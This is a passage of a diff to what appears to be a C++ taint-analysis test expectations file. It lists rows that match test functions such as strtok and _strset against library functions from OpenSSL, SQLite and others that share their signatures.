1 | +| taint.cpp:512:7:512:12 | strtok | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:512:7:512:12 | strtok | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:512:7:512:12 | strtok | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:512:7:512:12 | strtok | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:512:7:512:12 | strtok | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:512:7:512:12 | strtok | (unsigned long *,const char *) | | set_name_ex | 1 | +| taint.cpp:514:6:514:16 | test_strtok | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:514:6:514:16 | test_strtok | (char *) | | defossilize | 0 | +| taint.cpp:514:6:514:16 | test_strtok | (char *) | | make_uppercase | 0 | +| taint.cpp:514:6:514:16 | test_strtok | (char *) | | next_item | 0 | | taint.cpp:514:6:514:16 | test_strtok | (char *) | CStringT | CStringT | 0 | +| taint.cpp:523:7:523:13 | _strset | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:523:7:523:13 | _strset | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:523:7:523:13 | _strset | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:523:7:523:13 | _strset | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:523:7:523:13 | _strset | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:523:7:523:13 | _strset | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:523:7:523:13 | _strset | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:523:7:523:13 | _strset | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:523:7:523:13 | _strset | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:523:7:523:13 | _strset | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:523:7:523:13 | _strset | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:523:7:523:13 | _strset | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:523:7:523:13 | _strset | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:523:7:523:13 | _strset | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:523:7:523:13 | _strset | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:523:7:523:13 | _strset | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:523:7:523:13 | _strset | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:523:7:523:13 | _strset | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:523:7:523:13 | _strset | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:523:7:523:13 | _strset | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:523:7:523:13 | _strset | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:523:7:523:13 | _strset | (char *,int) | | PEM_proc_type | 0 | +| taint.cpp:523:7:523:13 | _strset | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:523:7:523:13 | _strset | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:523:7:523:13 | _strset | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:523:7:523:13 | _strset | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:523:7:523:13 | _strset | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:523:7:523:13 | _strset | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:523:7:523:13 | _strset | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:523:7:523:13 | _strset | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:523:7:523:13 | _strset | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:523:7:523:13 | _strset | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:523:7:523:13 | _strset | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:523:7:523:13 | _strset | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:523:7:523:13 | _strset | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:523:7:523:13 | _strset | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:523:7:523:13 | _strset | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:523:7:523:13 | _strset | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:523:7:523:13 | _strset | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:523:7:523:13 | _strset | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:523:7:523:13 | _strset | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:523:7:523:13 | _strset | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:523:7:523:13 | _strset | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:523:7:523:13 | _strset | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:523:7:523:13 | _strset | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:523:7:523:13 | _strset 